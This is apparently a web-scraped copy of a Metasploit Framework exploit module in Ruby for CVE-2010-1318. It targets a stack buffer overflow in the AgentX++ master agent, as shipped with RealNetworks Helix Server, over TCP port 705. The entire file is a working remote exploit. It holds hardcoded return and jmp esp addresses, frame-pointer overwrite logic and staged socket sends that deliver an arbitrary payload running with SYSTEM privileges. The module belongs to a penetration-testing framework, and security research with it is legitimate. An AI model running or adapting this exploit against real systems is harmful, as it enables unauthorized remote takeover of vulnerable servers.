Path: blob/master/modules/exploits/windows/misc/agentxpp_receive_agentx.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp9# include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'AgentX++ Master AgentX::receive_agentx Stack Buffer Overflow',16'Description' => %q{17This exploits a stack buffer overflow in the AgentX++ library, as used by18various applications. By sending a specially crafted request, an attacker can19execute arbitrary code, potentially with SYSTEM privileges.2021This module was tested successfully against master.exe as included with Real22Network\'s Helix Server v12. When installed as a service with Helix Server,23the service runs as SYSTEM, has no recovery action, but will start automatically24on boot.2526This module does not work with NX/XD enabled but could be modified easily to27do so. The address28},29'Author' => [ 'jduck' ],30'License' => MSF_LICENSE,31'References' => [32[ 'CVE', '2010-1318' ],33[ 'OSVDB', '63919'],34[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=867' ]35],36'Privileged' => true,37'DefaultOptions' => {38# 'EXITFUNC' => 'seh',39},40'Payload' => {41'Space' => 1024, # plenty of space42'BadChars' => "", # none!43'DisableNops' => true,44'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff"45},46'Platform' => 'win',47'Targets' => [48[49'Helix Server v12 and v13 - master.exe',50{51# The BufAddr varies :-/52# 'BufAddr' => 0xea3800,53'BufAddr' => 0x1053880,54'BufSize' => 25000, # If this is too large, the buf is unmapped on free55'Ret' => 0x46664b, # mov esp,ebp / pop ebp / ret in master.exe56'JmpEsp' => 0x7c3d55b7 # jmp esp from bundled msvcp71.dll57}58]59],60'DefaultTarget' => 0,61'DisclosureDate' => '2010-04-16',62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)6970register_options([Opt::RPORT(705)])71end7273def exploit74print_status("Trying target #{target.name}...")7576connect77print_status("Triggering the vulnerability... Cross your fingers!")7879num = target['BufSize']80num_str = [num].pack('N')8182# First send 19 bytes to almost fill the buffer...83hdr = ''84hdr << [0x01, rand(256), 0x10 | rand(256), rand(256)].pack('CCCC')85hdr << rand_text(16 - hdr.length)86# hdr << "QQQQRRRRSSSS"87hdr << num_str[0, 3]88sock.put(hdr)8990# Wait to make sure it processed that chunk.91select(nil, nil, nil, 0.5)92# print_status("press enter to trigger..."); x = $stdin.gets9394# Send the rest (smashed!)95hdr = ''96hdr << num_str[3, 1]9798# NOTE: this stuff is extra, but doesn't count towards the payload..99hdr << rand_text(8)100# hdr << "EEEEFFFF"101102# becomes ebp103# hdr << "\xeb" * 4104base = target['BufAddr']105new_ebp = base + (num / 2)106if (mod4 = (num % 4)) > 0107# align to 4 bytes108new_ebp += (4 - mod4)109end110hdr << [new_ebp].pack('V')111112# becomes eip113# hdr << "\xef\xbe\xad\xde"114hdr << [target.ret].pack('V')115116# NOTE: sending more data will smash the low (up to 3) bytes of the socket handle -- no fun117sock.put(hdr)118119# Send the data that we said we would...120stack = []121stack << target['JmpEsp']122123num_rets = (num - payload.encoded.length - 4) / 4124num_rets.times {125# points to ret instruction126stack.unshift(target.ret + 3)127}128129stack = stack.pack('V*')130stack << payload.encoded131# make sure we have all the bytes, or we wont reach the path we want.132stack << rand_text(num - stack.length)133134sock.put(stack)135136handler137disconnect138end139end140141142